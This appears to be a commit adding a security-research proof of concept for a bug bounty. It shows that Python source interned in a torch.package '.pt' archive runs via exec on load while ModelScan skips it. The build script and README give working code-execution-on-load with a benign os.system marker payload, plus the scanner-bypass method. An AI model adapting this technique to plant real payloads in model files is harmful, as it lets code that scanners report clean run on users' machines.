Add security-research PoC (benign marker payload)
Browse files- README.md +27 -0
- build_poc.py +39 -0
- malicious.pt +3 -0
README.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# PoC: ACE in torch.package PackageImporter via interned source (ModelScan bypass)
|
| 2 |
+
|
| 3 |
+
Security research PoC for the huntr.com **Model File Format** bounty program.
|
| 4 |
+
**Benign marker payload only** (writes `/tmp/POC2_PWNED_torch_package`). No destructive or network behavior.
|
| 5 |
+
|
| 6 |
+
## Summary
|
| 7 |
+
`malicious.pt` is a `torch.package` archive. `torch.package` serializes Python **module source** into the
|
| 8 |
+
`.pt`. When loaded with the normal public API `PackageImporter(file).load_pickle(pkg, resource)`, the importer
|
| 9 |
+
calls `compile()` + `exec()` on the interned source, so a top-level statement in the packaged `.py` runs at
|
| 10 |
+
load time. Protect AI **ModelScan** (v0.8.6) only disassembles pickle bytecode and **explicitly skips the
|
| 11 |
+
`.py` source files**, so it reports **"No issues found!"** on this live-RCE file.
|
| 12 |
+
|
| 13 |
+
## Reproduce
|
| 14 |
+
```bash
|
| 15 |
+
pip install torch==2.8.0 modelscan==0.8.6
|
| 16 |
+
# 1) it executes on load:
|
| 17 |
+
python -c "from torch.package import PackageImporter; PackageImporter('malicious.pt').load_pickle('data','model.pkl'); print(open('/tmp/POC2_PWNED_torch_package').read())"
|
| 18 |
+
# -> prints PWNED_torch_package...
|
| 19 |
+
# 2) but the scanner says clean:
|
| 20 |
+
modelscan -p malicious.pt # -> "No issues found!"
|
| 21 |
+
modelscan -p malicious.pt --show-skipped # -> the payload .py is "skipped"
|
| 22 |
+
```
|
| 23 |
+
|
| 24 |
+
## Control
|
| 25 |
+
The identical `os.system` payload placed in the **pickle** (via `__reduce__`) inside a torch.package archive
|
| 26 |
+
IS flagged CRITICAL by ModelScan — proving the bypass is the interned-source exec path, not the payload.
|
| 27 |
+
See `build_poc.py`.
|
build_poc.py
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os, sys
|
| 2 |
+
from torch.package import PackageExporter
|
| 3 |
+
|
| 4 |
+
OUT = "/tmp/malicious_tp.pt"
|
| 5 |
+
SRCDIR = "/tmp/evil_src"
|
| 6 |
+
os.makedirs(SRCDIR, exist_ok=True)
|
| 7 |
+
|
| 8 |
+
# An interned module whose TOP-LEVEL statement runs a benign marker payload.
|
| 9 |
+
# This is NOT in pickle opcodes - it lives in a .py source file inside the zip.
|
| 10 |
+
evil_src = '''
|
| 11 |
+
import os
|
| 12 |
+
# benign marker payload - fires at module import (exec of compiled source)
|
| 13 |
+
os.system('echo PWNED_torch_package_liamramsey > /tmp/POC2_PWNED_torch_package')
|
| 14 |
+
|
| 15 |
+
class EvilModel:
|
| 16 |
+
def __init__(self):
|
| 17 |
+
self.x = 1
|
| 18 |
+
'''
|
| 19 |
+
|
| 20 |
+
modpath = os.path.join(SRCDIR, "evil_model.py")
|
| 21 |
+
with open(modpath, "w") as f:
|
| 22 |
+
f.write(evil_src)
|
| 23 |
+
|
| 24 |
+
sys.path.insert(0, SRCDIR)
|
| 25 |
+
import evil_model # triggers payload at BUILD time too; we'll clean marker after
|
| 26 |
+
|
| 27 |
+
# Make the object to pickle
|
| 28 |
+
obj = evil_model.EvilModel()
|
| 29 |
+
|
| 30 |
+
with PackageExporter(OUT) as pe:
|
| 31 |
+
pe.intern("evil_model")
|
| 32 |
+
pe.save_pickle("data", "model.pkl", obj)
|
| 33 |
+
|
| 34 |
+
print("BUILT", OUT, os.path.getsize(OUT), "bytes")
|
| 35 |
+
|
| 36 |
+
# Remove the marker created during build-time import so load attribution is clean
|
| 37 |
+
if os.path.exists("/tmp/POC2_PWNED_torch_package"):
|
| 38 |
+
os.remove("/tmp/POC2_PWNED_torch_package")
|
| 39 |
+
print("cleaned build-time marker")
|
malicious.pt
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:49531fff57a4c2466ac05c7892fa4d9060f4433eb7eed36cb3ceca281801cbea
|
| 3 |
+
size 1702
|